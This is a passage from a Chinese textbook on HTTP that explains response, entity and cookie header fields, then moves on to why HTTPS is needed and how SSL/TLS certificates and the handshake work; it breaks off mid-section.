- 弱Tag值:弱ETag值只用于提示资源是否相同。只有资源发生了根本改变,产生差异时才会改变ETag值。这时,会在字段值最开始处附加W/。
ETage: W/"usagi-1234"
6.5.4 Location
Location: http://www.usagidesign.jp/sample.html
使用首部字段Location可以将响应接收方引导至某个与请求URI位置不同的资源。基本上,该字段会配合3xx:Redirection的响应,提供重定向的URI。几乎所有的浏览器在接收到包含首部字段Location的响应后,都会强制性地尝试对已提示的重定向资源的访问。
6.5.5 Proxy-Authenticate
Proxy-Authenticate: Basic realm="Usagi design Auth"
它与客户端和服务器之间的HTTP访问认证的行为相似,不同之处在于其认证行为是在客户端与代理之间进行的。而客户端与服务器之间进行认证时,首部字段WWW-Authorization有着相同的作用。有关HTTP访问认证,后面的章节会再进行详尽阐述。
首部字段Proxy-Authenticate会把由代理服务器所要求的认证信息发送给客户端。
6.5.6 Retry-After
Retry-After: 120(秒)
首部字段Retry-After告知客户端应该在多久之后再次发送请求。主要配合状态码503 ServiceUnavailable响应,或3xx Redirect响应一起使用。字段值可以指定为具体的日期时间(Wed, 04 Jul2012 06:34:24 GMT等格式),也可以是创建响应后的秒数。
6.5.7 Server
Server: Apache/2.2.17(Unix)
首部字段Server告知客户端当前服务器上安装的HTTP服务器应用程序的信息。不单单会标出服务器上的软件应用名称,还有可能包括版本号和安装时启用的可选项。
Server: Apache/2.2.6(Unix) PHP/5.2.5
6.5.8 Vary
当代理服务器接收到带有Vary首部字段指定获取资源的请求时,如果使用的Accept-Language字段的值相同,那么就直接从缓存返回响应。反之,则需要先从源服务器端获取资源后才能作为响应返回
Vary: Accept-Language
首部字段Vary可对缓存进行控制。源服务器会向代理服务器传达关于本地缓存使用方法的命令。从代理服务器接收到源服务器返回包含Vary指定项的响应之后,若再要进行缓存,仅对请求中含有相同Vary指定首部字段的请求返回缓存。即使对相同资源发起请求,但由于Vary指定的首部字段不相同,因此必须要从源服务器重新获取资源。
6.5.9 WWW-Authenticate
WWW-Authenticate: Basic realm="Usagide sign Auth"
首部字段WWW-Authenticate用于HTTP访问认证。它会告知客户端适用于访问请求URI所指定资源的认证方案(Basic或是Digest)和带参数提示的质询(challenge)。状态码401Unauthorized响应中,肯定带有首部字段WWW-Authenticate。
上述示例中,realm字段的字符串是为了辨别请求URI指定资源所受到的保护策略。有关该首部,请参阅本章之后的内容。
6.6 实体首部字段
实体首部字段是包含在请求报文和响应报文中的实体部分所使用的首部,用于补充内容的更新时间等与实体相关的信息。
6.6.1 Allow
Allow: GET, HEAD
首部字段Allow用于通知客户端能够支持Request-URI指定资源的所有HTTP方法。当服务器接收到不支持的HTTP方法时,会以状态码405 MethodNot Allowed作为响应返回。与此同时,还会把所有能支持的HTTP方法写入首部字段Allow后返回。
6.6.2 Content-Encoding
Content-Encoding: gzip
首部字段Content-Encoding会告知客户端服务器对实体的主体部分选用的内容编码方式。内容编码是指在不丢失实体信息的前提下所进行的压缩。主要采用以下4种内容编码的方式,gzip, compress, deflate, identity。(各方式的说明请参考6.4.3节Accept-Encoding首部字段)。
6.6.3 Content-Language
Content-Language: zh-CN
首部字段Content-Language会告知客户端,实体主体使用的自然语言(指中文或英文等语言)。
6.6.4 Content-Length
Content-Length: 15000
首部字段Content-Length表明了实体主体部分的大小(单位是字节)。对实体主体进行内容编码传输时,不能再使用Content-Length首部字段。由于实体主体大小的计算方法略微复杂,所以在此不再展开。读者若想一探究竟,可参考RFC2616的4.4。
6.6.5 Content-Location
Content-Location: http://www.hackr.jp/index-ja.html
首部字段Content-Location给出与报文主体部分相对应的URI。和首部字段Location不同,Content-Location表示的是报文主体返回资源对应的URI。比如,对于使用首部字段Accept-Language的服务器驱动型请求,当返回的页面内容与实际请求的对象不同时,首部字段Content-Location内会写明URI。(访问http://www.hackr.jp/返回的对象却是http://www.hackr.jp/index-ja.html等类似情况)
6.6.6 Content-MD5
客户端会对接收的报文主体执行相同的MD5算法,然后与首部字段Content-MD5的字段值比较
Content-MD5: 0GFkZDUwNGVhNGY3N2MxMDIwZmQ4NTBmY2IyTY==
首部字段Content-MD5是一串由MD5算法生成的值,其目的在于检查报文主体在传输过程中是否保持完整,以及确认传输到达。
对报文主体执行MD5算法获得的128位二进制数,再通过Base64编码后将结果写入Content-MD5字段值。由于HTTP首部无法记录二进制值,所以要通过Base64编码处理。为确保报文的有效性,作为接收方的客户端会对报文主体再执行一次相同的MD5算法。计算出的值与字段值作比较后,即可判断出报文主体的准确性。
采用这种方法,对内容上的偶发性改变是无从查证的,也无法检测出恶意篡改。其中一个原因在于,内容如果能够被篡改,那么同时意味着Content-MD5也可重新计算然后被篡改。所以处在接收阶段的客户端是无法意识到报文主体以及首部字段Content-MD5是已经被篡改过的。
6.6.7 Content-Range
Content-Range: bytes 5001-10000/10000
针对范围请求,返回响应时使用的首部字段Content-Range,能告知客户端作为响应返回的实体的哪个部分符合范围请求。字段值以字节为单位,表示当前发送部分及整个实体大小。
6.6.8 Content-Type
Content-Type: text/html; charset=UTF-8
首部字段Content-Type说明了实体主体内对象的媒体类型。和首部字段Accept一样,字段值用type/subtype形式赋值。参数charset使用iso-8859-1或euc-jp等字符集进行赋值。
6.6.9 Expires
Expires: Wed, 04 Jul 2012 08:26:05 GMT
首部字段Expires会将资源失效的日期告知客户端。缓存服务器在接收到含有首部字段Expires的响应后,会以缓存来应答请求,在Expires字段值指定的时间之前,响应的副本会一直被保存。当超过指定的时间后,缓存服务器在请求发送过来时,会转向源服务器请求资源。源服务器不希望缓存服务器对资源缓存时,最好在Expires字段内写入与首部字段Date相同的时间值。但是,当首部字段Cache-Control有指定max-age指令时,比起首部字段Expires,会优先处理max-age指令。
6.6.10 Last-Modified
Last-Modified: Wed, 04 Jul 2012 08:26:05 GMT
首部字段Last-Modified指明资源最终修改的时间。一般来说,这个值就是Request-URI指定资源被修改的时间。但类似使用CGI脚本进行动态数据处理时,该值有可能会变成数据最终修改时的时间。
6.7 为Cookie服务的首部字段
管理服务器与客户端之间状态的Cookie,虽然没有被编入标准化HTTP/1.1的RFC2616中,但在Web网站方面得到了广泛的应用。
Cookie的工作机制是用户识别及状态管理。Web网站为了管理用户的状态会通过Web浏览器,把一些数据临时写入用户的计算机内。接着当用户访问该Web网站时,可通过通信方式取回之前存放的Cookie。
调用Cookie时,由于可校验Cookie的有效期,以及发送方的域、路径、协议等信息,所以正规发布的Cookie内的数据不会因来自其他Web站点和攻击者的攻击而泄露。
至2013年5月,Cookie的规格标准文档有以下4种。
- 由网景公司颁布的规格标准:网景通信公司设计并开发了Cookie,并制定相关的规格标准。1994年前后,Cookie正式应用在网景浏览器中。目前最为普及的Cookie方式也是以此为基准的。
- RFC2109:某企业尝试以独立技术对Cookie规格进行标准化统筹。原本的意图是想和网景公司制定的标准交互应用,可惜发生了微妙的差异。现在该标准已淡出了人们的视线。
- RFC2965:为终结Internet Explorer浏览器与NetscapeNavigator的标准差异而导致的浏览器战争,RFC2965内定义了新的HTTP首部Set-Cookie2和Cookie2。可事实上,它们几乎没怎么投入使用。
- RFC6265:将网景公司制定的标准作为业界事实标准(De facto standard),重新定义Cookie标准后的产物。
目前使用最广泛的Cookie标准却不是RFC中定义的任何一个。而是在网景公司制定的标准上进行扩展后的产物。
为Cookie服务的首部字段
6.7.1 Set-Cookie
Set-Cookie: status=enable; expires= Tue, 05 Jul 2011 07:26:21 GMT; =>path=/; domain=.hackr.jp;
当服务器准备开始管理客户端的状态时,会事先告知各种信息。
Set-Cookie字段的属性
- expires属性:Cookie的expires属性指定浏览器可发送Cookie的有效期。当省略expires属性时,其有效期仅限于维持浏览器会话(Session)时间段内。这通常限于浏览器应用程序被关闭之前。另外,一旦Cookie从服务器端发送至客户端,服务器端就不存在可以显式删除Cookie的方法。但可通过覆盖已过期的Cookie,实现对客户端Cookie的实质性删除操作。
- path属性:Cookie的path属性可用于限制指定Cookie的发送范围的文件目录。不过另有办法可避开这项限制,看来对其作为安全机制的效果不能抱有期待。
- domain属性:通过Cookie的domain属性指定的域名可做到与结尾匹配一致。比如,当指定example.com后,除example.com以外,www.example.com或www2.example.com等都可以发送Cookie。因此,除了针对具体指定的多个域名发送Cookie之外,不指定domain属性显得更安全。
- secure属性:Cookie的secure属性用于限制Web页面仅在HTTPS安全连接时,才可以发送Cookie。发送Cookie时,指定secure属性的方法如下所示。
Set-Cookie: name=value;secure
以上例子仅当在https://www.example.com/(HTTPS)安全连接的情况下才会进行Cookie的回收。也就是说,即使域名相同,http://www.example.com/(HTTP)也不会发生Cookie回收行为。当省略secure属性时,不论HTTP还是HTTPS,都会对Cookie进行回收。
- HttpOnly属性:Cookie的HttpOnly属性是Cookie的扩展功能,它使JavaScript脚本无法获得Cookie。其主要目的为防止跨站脚本攻击(Cross-site scripting,XSS)对Cookie的信息窃取。发送指定HttpOnly属性的Cookie的方法如下所示。
Set-Cookie: name=value;HttpOnly
通过上述设置,通常从Web页面内还可以对Cookie进行读取操作。但使用JavaScript的document.cookie就无法读取附加HttpOnly属性后的Cookie的内容了。因此,也就无法在XSS中利用JavaScript劫持Cookie了。虽然是独立的扩展功能,但Internet Explorer 6SP1以上版本等当下的主流浏览器都已经支持该扩展了。另外顺带一提,该扩展并非是为了防止XSS而开发的。
6.7.2 Cookie
Cookie: status=enable
首部字段Cookie会告知服务器,当客户端想获得HTTP状态管理支持时,就会在请求中包含从服务器接收到的Cookie。接收到多个Cookie时,同样可以以多个Cookie形式发送。
6.8 其他首部字段
HTTP首部字段是可以自行扩展的。所以在Web服务器和浏览器的应用上,会出现各种非标准的首部字段。接下来,我们就一些最为常用的首部字段进行说明。X-Frame-Options、X-XSS-Protection、DNT、P3P
6.8.1 X-Frame-Options
X-Frame-Options: DENY
首部字段X-Frame-Options属于HTTP响应首部,用于控制网站内容在其他Web网站的Frame标签内的显示问题。其主要目的是为了防止点击劫持(clickjacking)攻击。
首部字段X-Frame-Options有以下两个可指定的字段值。DENY:拒绝。SAMEORIGIN:仅同源域名下的页面(Top-level-browsing-context)匹配时许可。(比如,当指定http://hackr.jp/sample.html页面为SAMEORIGIN时,那么hackr.jp上所有页面的frame都被允许可加载该页面,而example.com等其他域名的页面就不行了)
支持该首部字段的浏览器有:Internet Explorer8、Firefox 3.6.9+、Chrome 4.1.249.1042+、Safari 4+和Opera 10.50+ 等。现在主流的浏览器都已经支持。能在所有的Web服务器端预先设定好X-Frame-Options字段值是最理想的状态。
X-XSS-Protection
X-XSS-Protection: 1
首部字段X-XSS-Protection属于HTTP响应首部,它是针对跨站脚本攻击(XSS)的一种对策,用于控制浏览器XSS防护机制的开关。
首部字段X-XSS-Protection可指定的字段值如下。
● 0 :将XSS过滤设置成无效状态
● 1 :将XSS过滤设置成有效状态
6.8.3 DNT
DNT: 1
首部字段DNT属于HTTP请求首部,其中DNT是Do Not Track的简称,意为拒绝个人信息被收集,是表示拒绝被精准广告追踪的一种方法。
首部字段DNT可指定的字段值如下。
● 0 :同意被追踪
● 1 :拒绝被追踪
由于首部字段DNT的功能具备有效性,所以Web服务器需要对DNT做对应的支持。
6.8.4 P3P
P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa => IVAa IVDa OUR BUS IND UNI COM NAV INT"
首部字段P3P属于HTTP响应首部,通过利用**P3P(The Platform for Privacy Preferences,在线隐私偏好平台)**技术,可以让Web网站上的个人隐私变成一种仅供程序可理解的形式,以达到保护用户隐私的目的。
要进行P3P的设定,需按以下操作步骤进行。
步骤1: 创建P3P隐私
步骤2: 创建P3P隐私对照文件后,保存命名在/w3c/p3p.xml
步骤3: 从P3P隐私中新建Compact policies后,输出到HTTP响应中
有关P3P的详细规范标准请参看下方链接。●The Platform for Privacy Preferences 1.0(P3P1.0)Specificationhttp://www.w3.org/TR/P3P/
Tips:(协议中对X-前缀的废除)在HTTP等多种协议中,通过给非标准参数加上前缀X-,来区别于标准参数,并使那些非标准的参数作为扩展变成可能。但是这种简单粗暴的做法有百害而无一益,因此在“RFC6648- Deprecating the “X-” Prefix andSimilar Constructs in ApplicationProtocols”中提议停止该做法。然而,对已经在使用中的X-前缀来说,不应该要求其变更。
第七章 确保Web安全的HTTPS
7.1 HTTP的缺点
到现在为止,我们已了解到HTTP具有相当优秀和方便的一面,然而HTTP并非只有好的一面,事物皆具两面性,它也是有不足之处的。HTTP主要有这些不足,例举如下。
- 通信使用明文(不加密),内容可能会被窃听
- 不验证通信方的身份,因此有可能遭遇伪装
- 无法证明报文的完整性,所以有可能已遭篡改
这些问题不仅在HTTP上出现,其他未加密的协议中也会存在这类问题。除此之外,HTTP本身还有很多缺点。而且,还有像某些特定的Web服务器和特定的Web浏览器在实际应用中存在的不足(也可以说成是脆弱性或安全漏洞),另外,用Java和PHP等编程语言开发的Web应用也可能存在安全漏洞。
7.1.1 通信使用明文可能会被窃听
由于HTTP本身不具备加密的功能,所以也无法做到对通信整体(使用HTTP协议通信的请求和响应的内容)进行加密。即,HTTP报文使用明文(指未经过加密的报文)方式发送。
TCP/IP是可能被窃听的网络
如果要问为什么通信时不加密是一个缺点,这是因为,按TCP/IP协议族的工作机制,通信内容在所有的通信线路上都有可能遭到窥视。所谓互联网,是由能连通到全世界的网络组成的。无论世界哪个角落的服务器在和客户端通信时,在此通信线路上的某些网络设备、光缆、计算机等都不可能是个人的私有物,所以不排除某个环节中会遭到恶意窥视行为。即使已经过加密处理的通信,也会被窥视到通信内容,这点和未加密的通信是相同的。只是说如果通信经过加密,就有可能让人无法破解报文信息的含义,但加密处理后的报文信息本身还是会被看到的。
窃听相同段上的通信并非难事。只需要收集在互联网上流动的数据包(帧)就行了。对于收集来的数据包的解析工作,可交给那些抓包(PacketCapture)或嗅探器(Sniffer)工具。下面的图片示例就是被广泛使用的抓包工具Wireshark。它可以获取HTTP协议的请求和响应的内容,并对其进行解析。
像使用GET方法发送请求、响应返回了200 OK,查看HTTP响应报文的全部内容等一系列的事情都可以做到。
加密处理防止被窃听
在目前大家正在研究的如何防止窃听保护信息的几种对策中,最为普及的就是加密技术。加密的对象可以有这么几个。
- 通信的加密:一种方式就是将通信加密。HTTP协议中没有加密机制,但可以通过和SSL(Secure SocketLayer,安全套接层)或TLS(Transport LayerSecurity,安全传输层协议)的组合使用,加密HTTP的通信内容。用SSL建立安全通信线路之后,就可以在这条线路上进行HTTP通信了。与SSL组合使用的HTTP被称为HTTPS(HTTP Secure,超文本传输安全协议)或HTTP over SSL。
- 内容的加密:还有一种将参与通信的内容本身加密的方式。由于HTTP协议中没有加密机制,那么就对HTTP协议传输的内容本身加密。即把HTTP报文里所含的内容进行加密处理。在这种情况下,客户端需要对HTTP报文进行加密处理后再发送请求。诚然,为了做到有效的内容加密,前提是要求客户端和服务器同时具备加密和解密机制。主要应用在Web服务中。有一点必须引起注意,由于该方式不同于SSL或TLS将整个通信线路加密处理,所以内容仍有被篡改的风险。稍后我们会加以说明。
7.1.2 不验证通信方的身份就可能遭遇伪装
HTTP协议中的请求和响应不会对通信方进行确认。也就是说存在“服务器是否就是发送请求中URI真正指定的主机,返回的响应是否真的返回到实际提出请求的客户端”等类似问题。
任何人都可发起请求
在HTTP协议通信时,由于不存在确认通信方的处理步骤,任何人都可以发起请求。另外,服务器只要接收到请求,不管对方是谁都会返回一个响应(但也仅限于发送端的IP地址和端口号没有被Web服务器设定限制访问的前提下)。
HTTP协议的实现本身非常简单,不论是谁发送过来的请求都会返回响应,因此不确认通信方,会存在以下各种隐患。
- 无法确定请求发送至目标的Web服务器是否是按真实意图返回响应的那台服务器。有可能是已伪装的Web服务器。
- 无法确定响应返回到的客户端是否是按真实意图接收响应的那个客户端。有可能是已伪装的客户端。
- 无法确定正在通信的对方是否具备访问权限。因为某些Web服务器上保存着重要的信息,只想发给特定用户通信的权限。
- 无法判定请求是来自何方、出自谁手。
- 即使是无意义的请求也会照单全收。无法阻止海量请求下的DoS攻击(Denial ofService,拒绝服务攻击)。
查明对手的证书
虽然使用HTTP协议无法确定通信方,但如果使用SSL则可以。SSL不仅提供加密处理,而且还使用了一种被称为证书的手段,可用于确定方。
证书由值得信任的第三方机构颁发,用以证明服务器和客户端是实际存在的。另外,伪造证书从技术角度来说是异常困难的一件事。所以只要能够确认通信方(服务器或客户端)持有的证书,即可判断通信方的真实意图。
通过使用证书,以证明通信方就是意料中的服务器。这对使用者个人来讲,也减少了个人信息泄露的危险性。另外,客户端持有证书即可完成个人身份的确认,也可用于对Web网站的认证环节。
7.1.3 无法证明报文完整性,可能已遭篡改
所谓完整性是指信息的准确度。若无法证明其完整性,通常也就意味着无法判断信息是否准确。
接收到的内容可能有误
由于HTTP协议无法证明通信的报文完整性,因此,在请求或响应送出之后直到对方接收之前的这段时间内,即使请求或响应的内容遭到篡改,也没有办法获悉。
换句话说,没有任何办法确认,发出的请求/响应和接收到的请求/响应是前后相同的。
比如,从某个Web网站上下载内容,是无法确定客户端下载的文件和服务器上存放的文件是否前后一致的。文件内容在传输途中可能已经被篡改为其他的内容。即使内容真的已改变,作为接收方的客户端也是觉察不到的。
像这样,请求或响应在传输途中,遭攻击者拦截并篡改内容的攻击称为中间人攻击(Man-in-the-Middle attack,MITM)。
如何防止篡改
虽然有使用HTTP协议确定报文完整性的方法,但事实上并不便捷、可靠。其中常用的是MD5和SHA-1等散列值校验的方法,以及用来确认文件的数字签名方法。
提供文件下载服务的Web网站也会提供相应的以PGP(Pretty Good Privacy,完美隐私)创建的数字签名及MD5算法生成的散列值。PGP是用来证明创建文件的数字签名,MD5是由单向函数生成的散列值。不论使用哪一种方法,都需要操纵客户端的用户本人亲自检查验证下载的文件是否就是原来服务器上的文件。浏览器无法自动帮用户检查。
可惜的是,用这些方法也依然无法百分百保证确认结果正确。因为PGP和MD5本身被改写的话,用户是没有办法意识到的。
为了有效防止这些弊端,有必要使用HTTPS、SSL提供认证和加密处理及摘要功能。仅靠HTTP确保完整性是非常困难的,因此通过和其他协议组合使用来实现这个目标。下节我们介绍HTTPS的相关内容。
7.2 HTTP+加密+认证+完整性保护=HTTPS
7.2.1 HTTP加上加密处理和认证以及完整性保护后即是HTTPS
如果在HTTP协议通信过程中使用未经加密的明文,比如在Web页面中输入信用卡号,如果这条通信线路遭到窃听,那么信用卡号就暴露了。另外,对于HTTP来说,服务器也好,客户端也好,都是没有办法确认通信方的。因为很有可能并不是和原本预想的通信方在实际通信。并且还需要考虑到接收到的报文在通信途中已经遭到篡改这一可能性。
为了统一解决上述这些问题,需要在HTTP上再加入加密处理和认证等机制。我们把添加了加密及认证机制的HTTP称为HTTPS(HTTP Secure)。
经常会在Web的登录页面和购物结算界面等使用HTTPS通信。使用HTTPS通信时,不再用http://,而是改用https://。另外,当浏览器访问HTTPS通信有效的Web网站时,浏览器的地址栏内会出现一个带锁的标记。对HTTPS的显示方式会因浏览器的不同而有所改变。
7.2.2 HTTPS是身披SSL外壳的HTTP
HTTPS并非是应用层的一种新协议。只是HTTP通信接口部分用SSL(Secure Socket Layer)和TLS(Transport Layer Security)协议代替而已。
通常,HTTP直接和TCP通信。当使用SSL时,则演变成先和SSL通信,再由SSL和TCP通信了。简言之,所谓HTTPS,其实就是身披SSL协议这层外壳的HTTP。
在采用SSL后,HTTP就拥有了HTTPS的加密、证书和完整性保护这些功能。SSL是独立于HTTP的协议,所以不光是HTTP协议,其他运行在应用层的SMTP和Telnet等协议均可配合SSL协议使用。可以说SSL是当今世界上应用最为广泛的网络安全技术。
7.2.3 相互交换密钥的公开密钥加密技术
在对SSL进行讲解之前,我们先来了解一下加密方法。SSL采用一种叫做公开密钥加密(Public-keycryptography)的加密处理方式。
近代的加密方法中加密算法是公开的,而密钥却是保密的。通过这种方式得以保持加密方法的安全性。加密和解密都会用到密钥。没有密钥就无法对密码解密,反过来说,任何人只要持有密钥就能解密了。如果密钥被攻击者获得,那加密也就失去了意义。
共享密钥加密的困境
加密和解密同用一个密钥的方式称为共享密钥加密(Common key crypto system),也被叫做对称密钥加密。
以共享密钥方式加密时必须将密钥也发给对方。可究竟怎样才能安全地转交?在互联网上转发密钥时,如果通信被监听那么密钥就可会落入攻击者之手,同时也就失去了加密的意义。另外还得设法安全地保管接收到的密钥。
使用两把密钥的公开密钥加密
公开密钥加密方式很好地解决了共享密钥加密的困难。公开密钥加密使用一对非对称的密钥。一把叫做私有密钥(private key),另一把叫做公开密钥(public key)。顾名思义,私有密钥不能让其他任何人知道,而公开密钥则可以随意发布,任何人都可以获得。
使用公开密钥加密方式,发送密文的一方使用对方的公开密钥进行加密处理,对方收到被加密的信息后,再使用自己的私有密钥进行解密。利用这种方式,不需要发送用来解密的私有密钥,也不必担心密钥被攻击者窃听而盗走。
另外,要想根据密文和公开密钥,恢复到信息原文是异常困难的,因为解密过程就是在对离散对数进行求值,这并非轻而易举就能办到。退一步讲,如果能对一个非常大的整数做到快速地因式分解,那么密码破解还是存在希望的。但就目前的技术来看是不太现实的。
HTTPS采用混合加密机制
HTTPS采用共享密钥加密和公开密钥加密两者并用的混合加密机制。若密钥能够实现安全交换,那么有可能会考虑仅使用公开密钥加密来通信。但是公开密钥加密与共享密钥加密相比,其处理速度要慢。
所以应充分利用两者各自的优势,将多种方法组合起来用于通信。在交换密钥环节使用公开密钥加密方式,之后的建立通信交换报文阶段则使用共享密钥加密方式。
7.2.4 证明公开密钥正确性的证书
遗憾的是,公开密钥加密方式还是存在一些问题的。那就是无法证明公开密钥本身就是货真价实的公开密钥。比如,正准备和某台服务器建立公开密钥加密方式下的通信时,如何证明收到的公开密钥就是原本预想的那台服务器发行的公开密钥。或许在公开密钥传输途中,真正的公开密钥已经被攻击者替换掉了。
为了解决上述问题,可以使用由**数字证书认证机构(CA,Certificate Authority)**和其相关机关颁发的公开密钥证书。
数字证书认证机构处于客户端与服务器双方都可信赖的第三方机构的立场上。威瑞信(VeriSign)就是其中一家非常有名的数字证书认证机构。我们来介绍一下数字证书认证机构的业务流程。首先,服务器的运营人员向数字证书认证机构提出公开密钥的申请。数字证书认证机构在判明提出申请者的身份之后,会对已申请的公开密钥做数字签名,然后分配这个已签名的公开密钥,并将该公开密钥放入公钥证书后绑定在一起。
服务器会将这份由数字证书认证机构颁发的公钥证书发送给客户端,以进行公开密钥加密方式通信。公钥证书也可叫做数字证书或直接称为证书。
接到证书的客户端可使用数字证书认证机构的公开密钥,对那张证书上的数字签名进行验证,一旦验证通过,客户端便可明确两件事:一,认证服务器的公开密钥的是真实有效的数字证书认证机构。二,服务器的公开密钥是值得信赖的。
此处认证机关的公开密钥必须安全地转交给客户端。使用通信方式时,如何安全转交是一件很困难的事,因此,多数浏览器开发商发布版本时,会事先在内部植入常用认证机关的公开密钥。
可证明组织真实性的EV SSL证书
证书的一个作用是用来证明作为通信一方的服务器是否规范,另外一个作用是可确认对方服务器背后运营的企业是否真实存在。拥有该特性的证书就是EV SSL证书(Extended Validation SSLCertificate)。
EV SSL证书是基于国际标准的认证指导方针颁发的证书。其严格规定了对运营组织是否真实的确认方针,因此,通过认证的Web网站能够获得更高的认可度。
持有EV SSL证书的Web网站的浏览器地址栏处的背景色是绿色的,从视觉上就能一眼辨别出。而且在地址栏的左侧显示了SSL证书中记录的组织名称以及颁发证书的认证机构的名称。
上述机制的原意图是为了防止用户被钓鱼攻击(Phishing),但就效果上来讲,还得打一个问号。很多用户可能不了解EV SSL证书相关的知识,因此也不太会留意它。
用以确认客户端的客户端证书
HTTPS中还可以使用客户端证书。以客户端证书进行客户端认证,证明服务器正在通信的对方始终是预料之内的客户端,其作用跟服务器证书如出一辙。
但客户端证书仍存在几处问题点。其中的一个问题点是证书的获取及发布。想获取证书时,用户得自行安装客户端证书。但由于客户端证书是要付费购买的,且每张证书对应到每位用户也就意味着需支付和用户数对等的费用。另外,要让知识层次不同的用户们自行安装证书,这件事本身也充满了各种挑战。
现状是,安全性极高的认证机构可颁发客户端证书但仅用于特殊用途的业务。比如那些可支撑客户端证书支出费用的业务。例如,银行的网上银行就采用了客户端证书。在登录网银时不仅要求用户确认输入ID和密码,还会要求用户的客户端证书,以确认用户是否从特定的终端访问网银。
客户端证书存在的另一个问题点是,客户端证书毕竟只能用来证明客户端实际存在,而不能用来证明用户本人的真实有效性。也就是说,只要获得了安装有客户端证书的计算机的使用权限,也就意味着同时拥有了客户端证书的使用权限。
认证机构信誉第一
SSL机制中介入认证机构之所以可行,是因为建立在其信用绝对可靠这一大前提下的。然而,2011年7月,荷兰的一家名叫DigiNotar的认证机构曾遭黑客不法入侵,颁布了google.com和twitter.com等网站的伪造证书事件。这一事件从根本上撼动了SSL的可信度。
因为伪造证书上有正规认证机构的数字签名,所以浏览器会判定该证书是正当的。当伪造的证书被用做服务器伪装之时,用户根本无法察觉到。
虽然存在可将证书无效化的证书吊销列表(Certificate Revocation List,CRL)机制,以及从客户端删除根证书颁发机构(Root CertificateAuthority,RCA)的对策,但是距离生效还需要一段时间,而在这段时间内,到底会有多少用户的利益蒙受损失就不得而知了。
由自认证机构颁发的证书称为自签名证书
如果使用OpenSSL这套开源程序,每个人都可以构建一套属于自己的认证机构,从而自己给自己颁发服务器证书。但该服务器证书在互联网上不可作为证书使用,似乎没什么帮助。
独立构建的认证机构叫做自认证机构,由自认证机构颁发的“无用”证书也被戏称为自签名证书。浏览器访问该服务器时,会显示“无法确认连接安全性”或“该网站的安全证书存在问题”等警告消息。
由自认证机构颁发的服务器证书之所以不起作用,是因为它无法消除伪装的可能性。自认证机构能够产生的作用顶多也就是自己对外宣称“我是○○”的这种程度。即使采用自签名证书,通过SSL加密之后,可能偶尔还会看见通信处在安全状态的提示,可那也是有问题的。因为就算加密通信,也不能排除正在和已经过伪装的假服务器保持通信。
值得信赖的第三方机构介入认证,才能让已植入在浏览器内的认证机构颁布的公开密钥发挥作用,并借此证明服务器的真实性。
中级认证机构的证书可能会变成自认证证书:多数浏览器内预先已植入备受信赖的认证机构的证书,但也有一小部分浏览器会植入中级认证机构的证书。对于中级认证机构颁发的服务器证书,某些浏览器会以正规的证书来对待,可有的浏览器会当作自签名证书。
7.2.5 HTTPS的安全通信机制
为了更好地理解HTTPS,我们来观察一下HTTPS的通信步骤。
- 步骤1:客户端通过发送Client Hello报文开始SSL通信。报文中包含客户端支持的SSL的指定版本、加密组件(Cipher Suite)列表(所使用的加密算法及密钥长度等)。
- 步骤2: 服务器可进行SSL通信时,会以Server Hello报文作为应答。和客户端一样,在报文中包含SSL版本以及加密组件。服务器的加密组件内容是从接收到的客户端加密组件内筛选出来的。
- 步骤3: 之后服务器发送Certificate报文。报文中包含公开密钥证书。
- 步骤4: 最后服务器发送Server Hello Done报文通知客户端,最初阶段的SSL握手协商部分结束。
- 步骤5: SSL第一次握手结束之后,客户端以Client Key Exchange报文作为回应。报文中包含通信加密中使用的一种被称为Pre-master secret的随机密码串。该报文已用步骤3中的公开密钥进行加密。
- 步骤6: 接着客户端继续发送Change CipherSpec报文。该报文会提示服务器,在此报文之后的通信会采用Pre-master secret密钥加密。
- 步骤7: 客户端发送Finished报文。该报文包含连接至今全部报文的整体校验值。这次握手协商是否能够成功,要以服务器是否能够正确解密该报文作为判定标准。
- 步骤8: 服务器同样发送Change CipherSpec报文。
- 步骤9: 服务器同样发送Finished报文。
- 步骤10: 服务器和客户端的Finished报文交换完毕之后,SSL连接就算建立完成。当然,通信会受到SSL的保护。从此处开始进行应用层协议的通信,即发送HTTP请求。
- 步骤11: 应用层协议通信,即发送HTTP响应。
- 步骤12: 最后由客户端断开连接。断开连接时,发送close_notify报文。上图做了一些省略,这步之后再发送TCP FIN报文来关闭与TCP的通信。
在以上流程中,应用层发送数据时会附加一种叫做MAC(Message Authentication Code)的报文摘要。MAC能够查知报文是否遭到篡改,从而保护报文的完整性。
下面是对整个流程的图解。图中说明了从仅使用服务器端的公开密钥证书(服务器证书)建立HTTPS通信的整个过程。
① CBC模式(Cipher Block Chaining)又名密码分组链接模式。在此模式下,将前一个明文块加密处理后和下一个明文块做XOR运算,使之重叠,然后再对运算结果做加密处理。对第一个明文块做加密时,要么使用前一段密文的最后一块,要么利用外部生成的初始向量(initial vector,IV)。
SSL和TLS
HTTPS使用SSL(Secure Socket Layer)和TLS(Transport Layer Security)这两个协议。SSL技术最初是由浏览器开发商网景通信公司率先倡导的,开发过SSL3.0之前的版本。目前主导权已转移到IETF(Internet Engineering TaskForce,Internet工程任务组)的手中。IETF以SSL3.0为基准,后又制定了TLS1.0、TLS1.1和TLS1.2。TSL是以SSL为原型开发的协议,有时会统一称该协议为SSL。当前主流的版本是SSL3.0和TLS1.0。
由于SSL1.0协议在设计之初被发现出了问题,就没有实际投入使用。SSL2.0也被发现存在问题,所以很多浏览器直接废除了该协议版本。
SSL速度慢吗
HTTPS也存在一些问题,那就是当使用SSL时,它的处理速度会变慢。HTTPS比HTTP要慢2到100倍。
SSL的慢分两种。一种是指通信慢。另一种是指由于大量消耗CPU及内存等资源,导致处理速度变慢。和使用HTTP相比,网络负载可能会变慢2到100倍。除去和TCP连接、发送HTTP请求·响应以外,还必须进行SSL通信,因此整体上处理通信量不可避免会增加。另一点是SSL必须进行加密处理。在服务器和客户端都需要进行加密和解密的运算处理。因此从结果上讲,比起HTTP会更多地消耗服务器和客户端的硬件资源,导致负载增强。
针对速度变慢这一问题,并没有根本性的解决方案,我们会使用SSL加速器这种(专用服务器)硬件来改善该问题。该硬件为SSL通信专用硬件,相对软件来讲,能够提高数倍SSL的计算速度。仅在SSL处理时发挥SSL加速器的功效,以分担负载。
为什么不一直使用HTTPS
既然HTTPS那么安全可靠,那为何所有的Web网站不一直使用HTTPS?
